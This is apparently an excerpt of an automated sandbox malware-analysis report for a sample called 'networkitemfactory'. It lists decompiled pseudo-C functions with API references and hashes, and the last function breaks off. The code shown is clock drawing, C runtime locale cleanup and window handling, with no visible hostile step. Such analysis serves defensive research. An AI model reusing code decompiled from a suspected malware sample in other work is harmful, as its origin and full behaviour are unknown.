				BitBlt(_v28, 0x30, 0, 0xd, 0x15,  *(_t105 + 0x10), (_t123 - _t133 + _t133 * 4 + _t133 + _t133 * 4) * 0xd, 0, 0xcc0020);
				_t125 = _v24.wSecond & 0x0000ffff;
				_t117 = 0x66666667 * _t125 >> 0x20 >> 2;
				_t136 = (0x66666667 * _t125 >> 0x20 >> 2 >> 0x1f) + (0x66666667 * _t125 >> 0x20 >> 2);
				BitBlt(_v28, 0x44, 0, 0xd, 0x15,  *(_t105 + 0x10), _t136 * 0xd, 0, 0xcc0020);
				_t137 = _v28;
				_t127 = BitBlt;
				BitBlt(_t137, 0x51, 0, 0xd, 0x15,  *(_t105 + 0x10), (_t125 - _t136 + _t136 * 4 + _t136 + _t136 * 4) * 0xd, 0, 0xcc0020);
				_push(0xcc0020);
				_push(0);
				if(_v24.wMilliseconds <= 0x1f4) {
					BitBlt(_t137, 0x1c, 0, 7, 0x15,  *(_t105 + 0x10), 0xa3, ??, ??);
					_push(0xcc0020);
					_push(0);
					_push(0xa3);
				} else {
					BitBlt(_t137, 0x1c, 0, 7, 0x15,  *(_t105 + 0x10), 0x9c, ??, ??);
					_push(0xcc0020);
					_push(0);
					_push(0x9c);
				}
				BitBlt(_t137, 0x3d, 0, 7, 0x15,  *(_t105 + 0x10), ??, ??, ??);
				if( *((char*)(_t105 + 0x1c)) == 1) {
					_push(0xcc0020);
					_push(0);
					if(_v24.wHour < 0xc) {
						_push(0x82);
					} else {
						_push(0x8f);
					}
					BitBlt(_t137, 0x60, 0, 0xd, 0x15,  *(_t105 + 0x10), ??, ??, ??);
				}
				ReleaseDC( *(_t105 + 0x18), _t137);
				return E004023FF(_t105, _v8 ^ _t141, _t117, _t127, _t137);
			}

APIs

GetDC.USER32(?), ref: 00401478
GetLocalTime.KERNEL32(?), ref: 00401487
StretchBlt.GDI32(00000000,00000000,00000000,0000006F,00000015,?,000000AA,00000000,00000002,00000015,00CC0020), ref: 004014A9
BitBlt.GDI32(?,00000002,00000000,0000000D,00000015,?,66666667,00000000,00CC0020), ref: 004014E3
BitBlt.GDI32(?,0000000F,00000000,0000000D,00000015,?,00000000,00000000,00CC0020), ref: 00401509
BitBlt.GDI32(00000000,00000002,00000000,0000000D,00000015,?,66666667,00000000,00CC0020), ref: 00401559
BitBlt.GDI32(00000000,0000000F,00000000,0000000D,00000015,?,00000000,00000000,00CC0020), ref: 00401573
BitBlt.GDI32(?,00000023,00000000,0000000D,00000015,?,66666667,00000000,00CC0020), ref: 004015A3
BitBlt.GDI32(?,00000030,00000000,0000000D,00000015,?,00000000,00000000,00CC0020), ref: 004015C9
BitBlt.GDI32(?,00000044,00000000,0000000D,00000015,?,66666667,00000000,00CC0020), ref: 004015FD
BitBlt.GDI32(?,00000051,00000000,0000000D,00000015,?,00000000,00000000,00CC0020), ref: 0040162A
BitBlt.GDI32(?,0000001C,00000000,00000007,00000015,?,0000009C,00000000,00CC0020), ref: 0040164F
BitBlt.GDI32(?,0000001C,00000000,00000007,00000015,?,000000A3,00000000,00CC0020), ref: 00401670
BitBlt.GDI32(?,0000003D,00000000,00000007,00000015,?,000000A3,00000000,00CC0020), ref: 0040168A
BitBlt.GDI32(?,00000060,00000000,0000000D,00000015,?,00000082,00000000,00CC0020), ref: 004016B8
ReleaseDC.USER32 ref: 004016BE

Strings

gfff, xrefs: 004015D3
gfff, xrefs: 00401579
gfff, xrefs: 004014B9
gfff, xrefs: 0040151C
@bw, xrefs: 004014A9

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: LocalReleaseStretchTime
String ID: gfff$gfff$gfff$gfff$@bw
API String ID: 3873728368-1481070139
Opcode ID: 2bac2e643f9ae310b9b1c5671be892aa5c7a774fda8b0812f5c359b49242290a
Instruction ID: 8369255b4d5222c7f4210ed0fb5063c9b8c6610f14c435b30fd9e32c564ce736
Opcode Fuzzy Hash: 2bac2e643f9ae310b9b1c5671be892aa5c7a774fda8b0812f5c359b49242290a
Instruction Fuzzy Hash: B4717332B80708BBFB349F55DD0BF6A7A69EB84B00F150065FB10BE1D2D2F599109B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040392E, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040392E(void* __eax, void* __ebx) {
				intOrPtr _t5;
				intOrPtr _t6;
				intOrPtr _t7;
				intOrPtr _t8;
				void* _t9;
				void* _t14;
				void* _t24;
				intOrPtr* _t25;
				signed int _t26;
				signed int _t27;
				intOrPtr _t39;

				_t14 = __ebx;
				__imp__DecodePointer( *0x438c08);
				_t25 =  *0x436d08; // 0x0
				_t24 = __eax;
				if(_t25 == 0) {
					L4:
					_push(_t14);
					E00402CB3(_t25);
					_t26 =  *0x436d04;
					 *0x436d08 = 0;
					if(_t26 == 0) {
						L8:
						E00402CB3(_t26);
						 *0x436d04 = 0;
						E00402CB3( *0x436d00);
						_t5 = E00402CB3( *0x436cfc);
						_t27 = _t26 | 0xffffffff;
						 *0x436d00 = 0;
						 *0x436cfc = 0;
						if(_t24 != _t27) {
							_t39 =  *0x438c08; // 0x15700eec
							if(_t39 != 0) {
								_t5 = E00402CB3(_t24);
							}
						}
						__imp__EncodePointer(_t27);
						 *0x438c08 = _t5;
						_t6 =  *0x437774; // 0x0
						if(_t6 != 0) {
							E00402CB3(_t6);
							 *0x437774 = 0;
						}
						_t7 =  *0x437778; // 0x0
						if(_t7 != 0) {
							E00402CB3(_t7);
							 *0x437778 = 0;
						}
						_t8 =  *0x435794; // 0x536ce0
						asm("lock xadd [eax], esi");
						if(_t27 != 1) {
							L18:
							return _t8;
						} else {
							_t8 =  *0x435794; // 0x536ce0
							if(_t8 == 0x435570) {
								goto L18;
							}
							_t9 = E00402CB3(_t8);
							 *0x435794 = 0x435570;
							return _t9;
						}
					}
					while( *_t26 != 0) {
						E00402CB3( *_t26);
						_t26 = _t26 + 4;
						if(_t26 != 0) {
							continue;
						}
						break;
					}
					_t26 =  *0x436d04;
					goto L8;
				}
				while( *_t25 != 0) {
					E00402CB3( *_t25);
					_t25 = _t25 + 4;
					if(_t25 != 0) {
						continue;
					}
					break;
				}
				_t25 =  *0x436d08; // 0x0
				goto L4;
			}

APIs

DecodePointer.KERNEL32 ref: 00403936
_free.LIBCMT ref: 0040394F

Part of subcall function 00402CB3: HeapFree.KERNEL32(00000000,00000000,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CC7
Part of subcall function 00402CB3: GetLastError.KERNEL32(xuC,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CD9

_free.LIBCMT ref: 00403962
_free.LIBCMT ref: 00403980
_free.LIBCMT ref: 00403992
_free.LIBCMT ref: 004039A3
_free.LIBCMT ref: 004039AE
_free.LIBCMT ref: 004039D2
EncodePointer.KERNEL32(0052E980), ref: 004039D9
_free.LIBCMT ref: 004039EE
_free.LIBCMT ref: 00403A04
_free.LIBCMT ref: 00403A2C

Strings

pUC, xrefs: 00403A22
lS, xrefs: 00403A10, 00403A1D, 00403A32

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: pUC$lS
API String ID: 3064303923-4220208505
Opcode ID: 9e368f96e69a788bf5f9fe72ec27c00b85b73d030a192da84a46a16c3714cec0
Instruction ID: 2d5ff0e81fdfeecdb028d6274274e2617790129ccf2f9e9fb2bc5b6500c7a3d5
Opcode Fuzzy Hash: 9e368f96e69a788bf5f9fe72ec27c00b85b73d030a192da84a46a16c3714cec0
Instruction Fuzzy Hash: F121D0B2A05652ABEB225F25FE4455A7BA8FB00321715607FF844B73E0CB785D408F9C

Uniqueness

Uniqueness Score: -1.00%

Function 00413B7F, Relevance: 19.6, APIs: 13, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00413B7F(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t15;
				intOrPtr _t22;
				intOrPtr* _t42;

				if(_a4 > 5 || _a8 == 0) {
					L4:
					return 0;
				} else {
					_t42 = E0040CFF1(8, 1);
					if(_t42 != 0) {
						_t12 = E0040CFF1(0xb8, 1);
						 *_t42 = _t12;
						__eflags = _t12;
						if(_t12 != 0) {
							_t13 = E0040CFF1(0x220, 1);
							 *((intOrPtr*)(_t42 + 4)) = _t13;
							__eflags = _t13;
							if(_t13 != 0) {
								E00413694( *_t42, 0x4359f8);
								_t15 = E00413F7F(__ebx, __edx, 1, _t42,  *_t42, _a4, _a8);
								_push( *((intOrPtr*)(_t42 + 4)));
								__eflags = _t15;
								if(__eflags == 0) {
									L14:
									E00402CB3();
									E0040E7B6( *_t42);
									E0040E65C( *_t42);
									E00402CB3(_t42);
									_t42 = 0;
									L16:
									return _t42;
								}
								_push( *((intOrPtr*)( *_t42 + 4)));
								_t22 = E0040DF62(__edx, 1, __eflags);
								__eflags = _t22;
								if(_t22 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)(_t42 + 4)))) = 1;
									goto L16;
								}
								_push( *((intOrPtr*)(_t42 + 4)));
								goto L14;
							}
							E00402CB3( *_t42);
							E00402CB3(_t42);
							L8:
							goto L3;
						}
						E00402CB3(_t42);
						goto L8;
					}
					L3:
					 *((intOrPtr*)(E00403FAC())) = 0xc;
					goto L4;
				}
			}

APIs

__calloc_crt.LIBCMT ref: 00413B96

Part of subcall function 0040CFF1: __calloc_impl.LIBCMT ref: 0040D000

__calloc_crt.LIBCMT ref: 00413BBA
_free.LIBCMT ref: 00413BC8
__calloc_crt.LIBCMT ref: 00413BD6
_free.LIBCMT ref: 00413BE6
_free.LIBCMT ref: 00413BEC
__copytlocinfo_nolock.LIBCMT ref: 00413BFB
__wsetlocale_nolock.LIBCMT ref: 00413C08
__setmbcp_nolock.LIBCMT ref: 00413C1C
_free.LIBCMT ref: 00413C2A
___removelocaleref.LIBCMT ref: 00413C31
___freetlocinfo.LIBCMT ref: 00413C38
_free.LIBCMT ref: 00413C3E

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 24c83f02682986b5a658c73e614b9f1ff3bed2990c2cbe72f34b9a537931d441
Instruction ID: ae6e16b3023edc39ad57d468ef94e2b8fd466f6482efcdffcca20402270c21c8
Opcode Fuzzy Hash: 24c83f02682986b5a658c73e614b9f1ff3bed2990c2cbe72f34b9a537931d441
Instruction Fuzzy Hash: 17212532108A01EAE7323F26DD06A8A7BA4DF40716F10403FF448761D2EA3D9A50965D

Uniqueness

Uniqueness Score: -1.00%

Function 00413C56, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E00413C56(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8, char _a12) {
				signed int _v8;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				void* _t38;
				signed int _t45;
				signed int _t60;
				intOrPtr _t77;
				void* _t80;
				intOrPtr* _t82;
				signed int _t83;
				signed int _t86;
				intOrPtr _t88;
				void* _t92;

				_t80 = __edx;
				_push(__ebx);
				_push(__esi);
				_t86 = 0;
				if(_a12 <= 0) {
					L5:
					return _t38;
				} else {
					_push(__edi);
					_t82 =  &_a12;
					while(1) {
						_t82 = _t82 + 4;
						_t38 = E0040E224(_a4, _a8,  *_t82);
						_t92 = _t92 + 0xc;
						if(_t38 != 0) {
							break;
						}
						_t86 = _t86 + 1;
						if(_t86 < _a12) {
							continue;
						} else {
							goto L5;
						}
						goto L20;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00406C1E(0, _t80);
					asm("int3");
					_push(0x14);
					_push(0x434758);
					E00406830(0, _t82, _t86);
					_t66 = 0;
					_v32 = 0;
					__eflags = _a4 - 5;
					if(_a4 <= 5) {
						_t88 = E00404224();
						_v36 = _t88;
						E0040E856(0, _t80, _t82, _t88, __eflags);
						 *(_t88 + 0x70) =  *(_t88 + 0x70) | 0x00000010;
						_v8 = _v8 & 0;
						_t83 = E0040CFF1(0xb8, 1);
						_v40 = _t83;
						__eflags = _t83;
						if(_t83 != 0) {
							E00406D5B(0xc);
							_v8 = 1;
							E00413694(_t83,  *((intOrPtr*)(_t88 + 0x6c)));
							_v8 = _v8 & 0x00000000;
							E00413DCB();
							_t66 = E00413F7F(0, _t80, _t83, _t88, _t83, _a4, _a8);
							_v32 = _t66;
							__eflags = _t66;
							if(_t66 == 0) {
								E0040E7B6(_t83);
								_t43 = E0040E65C(_t83);
							} else {
								__eflags = _a8;
								if(_a8 != 0) {
									_t60 = E00418AEC(_a8, 0x43588c);
									__eflags = _t60;
									if(_t60 != 0) {
										 *0x4377a8 = 1;
									}
								}
								E00406D5B(0xc);
								_v8 = 2;
								_t25 = _t88 + 0x6c; // 0x6c
								E0040E8D6(_t25, _t83);
								E0040E7B6(_t83);
								__eflags =  *(_t88 + 0x70) & 0x00000002;
								if(( *(_t88 + 0x70) & 0x00000002) == 0) {
									__eflags =  *0x435d60 & 0x00000001;
									if(( *0x435d60 & 0x00000001) == 0) {
										E0040E8D6(0x4359f4,  *((intOrPtr*)(_t88 + 0x6c)));
										_t77 =  *0x4359f4; // 0x4359f8
										_t32 = _t77 + 0x84; // 0x435d70
										 *0x435d68 =  *_t32;
										_t33 = _t77 + 0x90; // 0x430d60
										 *0x435dc4 =  *_t33;
										_t34 = _t77 + 0x74; // 0x1
										 *0x435888 =  *_t34;
									}
								}
								_v8 = _v8 & 0x00000000;
								_t43 = E00413DDA();
							}
						}
						_v8 = 0xfffffffe;
						E00413E0D(_t43, _t88);
						_t45 = _t66;
					} else {
						 *((intOrPtr*)(E00403FAC())) = 0x16;
						E00406BF3();
						_t45 = 0;
					}
					return E00406875(_t45);
				}
				L20:
			}

APIs

__calloc_crt.LIBCMT ref: 00413CE0
__lock.LIBCMT ref: 00413CF6
__copytlocinfo_nolock.LIBCMT ref: 00413D07
__wsetlocale_nolock.LIBCMT ref: 00413D1E
__lock.LIBCMT ref: 00413D58
__updatetlocinfoEx_nolock.LIBCMT ref: 00413D6A
___removelocaleref.LIBCMT ref: 00413D70
__updatetlocinfoEx_nolock.LIBCMT ref: 00413D8F

Strings

p]C, xrefs: 00413DA2

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID: p]C
API String ID: 790675137-1265664625
Opcode ID: 6d1495893d940ef6be95611885f58a632d76adb249db02c33a89ec36003c17cf
Instruction ID: 623bc6a35c898f006257f3d2ac9b328070ff02d3e3c726b5a2c0b95e6af6f13e
Opcode Fuzzy Hash: 6d1495893d940ef6be95611885f58a632d76adb249db02c33a89ec36003c17cf
Instruction Fuzzy Hash: D8410072904304AFDB10AFA6A8827DE77E0AF04319F10443FF905AA292DB7D96919B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401100, Relevance: 15.1, APIs: 10, Instructions: 64
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401100(long __ecx, struct HWND__* _a4, struct HINSTANCE__* _a8, CHAR* _a12) {
				struct HWND__* _t16;
				struct HMENU__* _t18;
				void* _t23;
				long _t28;
				struct HINSTANCE__* _t30;
				struct HDC__* _t31;

				_t16 = _a4;
				_t30 = _a8;
				_t28 = __ecx;
				 *((intOrPtr*)(__ecx)) = 0x42cc54;
				 *((char*)(__ecx + 0x1c)) = 0;
				 *(__ecx + 0x14) = _t16;
				 *(_t28 + 0x18) = CreateWindowExA(0, _a12, 0, 0x90000000, 0, 0, 0x6f, 0x15, _t16, 0, _t30, 0);
				_t18 = LoadMenuA(_t30, 0x6d);
				 *(_t28 + 8) = _t18;
				 *((intOrPtr*)(_t28 + 0xc)) = GetSubMenu(_t18, 0);
				_t31 = GetDC( *(_t28 + 0x18));
				 *(_t28 + 0x10) = CreateCompatibleDC(_t31);
				ReleaseDC( *(_t28 + 0x18), _t31);
				_t23 = LoadBitmapA(_t30, 0x85);
				 *(_t28 + 4) = _t23;
				SelectObject( *(_t28 + 0x10), _t23);
				SetWindowLongA( *(_t28 + 0x18), 0xfffffffc, 0x401050);
				SetWindowLongA( *(_t28 + 0x18), 0xffffffeb, _t28);
				return _t28;
			}

APIs

CreateWindowExA.USER32 ref: 00401135
LoadMenuA.USER32 ref: 00401141
GetSubMenu.USER32 ref: 0040114D
GetDC.USER32(?), ref: 00401159
CreateCompatibleDC.GDI32(00000000), ref: 00401162
ReleaseDC.USER32 ref: 0040116F
LoadBitmapA.USER32 ref: 0040117B
SelectObject.GDI32(?,00000000), ref: 00401188
SetWindowLongA.USER32 ref: 0040119E
SetWindowLongA.USER32 ref: 004011A6

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: Window$CreateLoadLongMenu$BitmapCompatibleObjectReleaseSelect
String ID:
API String ID: 3316247204-0
Opcode ID: f11f789d58ba93abe2704281de4c3fe989fbbccd220e4df097f1c4c5a90b91e0
Instruction ID: 47f8015d6f8a27a6f2185c8b06d3858f74a4fe0b09e34247c124d55f7d547d32
Opcode Fuzzy Hash: f11f789d58ba93abe2704281de4c3fe989fbbccd220e4df097f1c4c5a90b91e0
Instruction Fuzzy Hash: AF111C71640310BFEB145F659C89F5B7F68EB49711F1045A5FA00AA2E5C6B5DC20CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401C80, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 112
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401C80(void* __ebx, void* __edx, void* __edi, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				signed int _v8;
				struct tagPAINTSTRUCT _v72;
				void* __esi;
				signed int _t19;
				void* _t22;
				void* _t25;
				void* _t34;
				void* _t38;
				signed int _t42;
				int _t53;
				int _t58;
				intOrPtr _t63;
				struct HWND__* _t72;
				signed int _t73;

				_t70 = __edx;
				_t19 =  *0x435040; // 0x35ed344a
				_v8 = _t19 ^ _t73;
				_t53 = _a8;
				_t72 = _a4;
				_t22 = _t53 - 2;
				if(_t22 == 0) {
					PostQuitMessage(0);
					return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
				} else {
					_t25 = _t22 - 0xd;
					if(_t25 == 0) {
						BeginPaint(_t72,  &_v72);
						EndPaint(_t72,  &_v72);
						return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
					} else {
						if(_t25 == 0x102) {
							_t58 = _a12;
							_t34 = (_t58 & 0x0000ffff) - 0x69;
							if(_t34 == 0) {
								DestroyWindow(_t72);
								return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
							} else {
								_t38 = _t34 - 0x7f9d;
								if(_t38 == 0) {
									MessageBoxA(_t72, 0x436918, "About", 0x40);
									return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
								} else {
									_t42 = _t38 - 1;
									if(_t42 == 0) {
										_t63 =  *0x436844; // 0x0
										 *0x4368ac = _t42 & 0xffffff00 |  *0x4368ac == 0x00000000;
										L0040104B(_t63, (_t42 & 0xffffff00 |  *0x4368ac == 0x00000000) & 0x000000ff);
										return E004023FF(__ebx, _v8 ^ _t73, __edx, __edi, _t72);
									} else {
										DefWindowProcA(_t72, 0x111, _t58, _a16);
										return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
									}
								}
							}
						} else {
							DefWindowProcA(_t72, _t53, _a12, _a16);
							return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
						}
					}
				}
			}

APIs

DefWindowProcA.USER32(?,?,?,?), ref: 00401CBA
DefWindowProcA.USER32(?,00000111,?,?), ref: 00401CF4
BeginPaint.USER32(?,?), ref: 00401D81
EndPaint.USER32(?,?), ref: 00401D8C
PostQuitMessage.USER32(00000000), ref: 00401DA7

Strings

About, xrefs: 00401D3E

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: PaintProcWindow$BeginMessagePostQuit
String ID: About
API String ID: 3181456275-1949634023
Opcode ID: 5a5cfd39e6820e542c64a1b125ed650101f42d542ecb90d47b2c7f2a410015d5
Instruction ID: 88c6f8a955abea856bd48f6bc5af4ea1602800acc5508de23de6365d246a8e04
Opcode Fuzzy Hash: 5a5cfd39e6820e542c64a1b125ed650101f42d542ecb90d47b2c7f2a410015d5
Instruction Fuzzy Hash: BB31B63161000D6BDB14EF79AD0AABF77A9EF09300F00456BFC02A65D2CAB95E10A799

Uniqueness

Uniqueness Score: -1.00%

Function 00413496, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00413496(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t10;
				signed int _t12;
				intOrPtr* _t16;
				intOrPtr* _t31;
				void* _t32;

				_push(8);
				_push(0x434730);
				_t10 = E00406830(__ebx, __edi, __esi);
				_t31 =  *((intOrPtr*)(_t32 + 8));
				if(_t31 != 0) {
					_t12 = E00406D5B(0xd);
					 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
					if( *((intOrPtr*)(_t31 + 4)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t12 | 0xffffffff) == 0 &&  *((intOrPtr*)(_t31 + 4)) != 0x435570) {
							E00402CB3( *((intOrPtr*)(_t31 + 4)));
						}
					}
					 *(_t32 - 4) = 0xfffffffe;
					E00413ABB();
					if( *_t31 != 0) {
						E00406D5B(0xc);
						 *(_t32 - 4) = 1;
						E0040E7B6( *_t31);
						_t16 =  *_t31;
						if(_t16 != 0 &&  *_t16 == 0 && _t16 != 0x4359f8) {
							E0040E65C(_t16);
						}
						 *(_t32 - 4) = 0xfffffffe;
						E00413AC7();
					}
					_t10 = E00402CB3(_t31);
				}
				return E00406875(_t10);
			}

APIs

__lock.LIBCMT ref: 00413A32

Part of subcall function 00406D5B: __mtinitlocknum.LIBCMT ref: 00406D6D
Part of subcall function 00406D5B: __amsg_exit.LIBCMT ref: 00406D79
Part of subcall function 00406D5B: EnterCriticalSection.KERNEL32(00000000,?,004042F4,0000000D), ref: 00406D86

_free.LIBCMT ref: 00413A58

Part of subcall function 00402CB3: HeapFree.KERNEL32(00000000,00000000,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CC7
Part of subcall function 00402CB3: GetLastError.KERNEL32(xuC,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CD9

__lock.LIBCMT ref: 00413A71
___removelocaleref.LIBCMT ref: 00413A80
___freetlocinfo.LIBCMT ref: 00413A99
_free.LIBCMT ref: 00413AAC

Strings

pUC, xrefs: 00413A4C

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID: pUC
API String ID: 626533743-2208893049
Opcode ID: c2db22ab7447c57abcc7cacf5659124182d64d1af5b66121e739107cc329366f
Instruction ID: c3db13d6e87042e8d3d9c327ba538853f5f3e6b802cb2b63995fb45b47053acf
Opcode Fuzzy Hash: c2db22ab7447c57abcc7cacf5659124182d64d1af5b66121e739107cc329366f
Instruction Fuzzy Hash: AB01A131501700AADB34AF669506B9E73A05F0076AF20866FE4E9762D1CB7D9AC1C68D

Uniqueness

Uniqueness Score: -1.00%

Function 020914A0, Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 020914DB
SetLastError.KERNEL32(0000007F), ref: 02091507

Memory Dump Source

Source File: 00000004.00000002.518992835.0000000002091000.00000020.00000001.sdmp, Offset: 02091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2091000_networkitemfactory.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: fb8b03cb4389705fbb06cf7aa6833ff827dc3988d23ad7bb0b9e9d6eb927364b
Instruction ID: 7267bec11654998f4452098b03387ff83802b7a9035422db4525bc223226b8ac
Opcode Fuzzy Hash: fb8b03cb4389705fbb06cf7aa6833ff827dc3988d23ad7bb0b9e9d6eb927364b
Instruction Fuzzy Hash: F371C674E4420AEFDB04DF94C590BADF7B2BF48304F248599D51AAB391D734AA41EF90

Uniqueness

Uniqueness Score: -1.00%

Function 020B9FD0, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 314
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E020B9FD0(intOrPtr __ecx, intOrPtr __edx) {
				char _v524;
				char _v1044;
				intOrPtr _v1052;
				char _v1056;
				char _v1060;
				intOrPtr* _v1064;
				intOrPtr _v1068;
				char _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				intOrPtr _v1084;
				intOrPtr _v1088;
				intOrPtr _v1092;
				intOrPtr _v1108;
				void* _v1112;
				void* __ebx;
				void* __ebp;
				void* _t43;
				signed int _t47;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t56;
				intOrPtr* _t58;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t66;
				signed int _t69;
				intOrPtr* _t73;
				signed int _t74;
				signed int _t80;
				intOrPtr* _t92;
				intOrPtr _t95;
				intOrPtr* _t97;
				intOrPtr* _t101;
				intOrPtr* _t102;
				intOrPtr _t115;
				intOrPtr _t158;
				intOrPtr* _t167;
				char _t168;
				void* _t169;
				intOrPtr _t170;
				intOrPtr _t171;
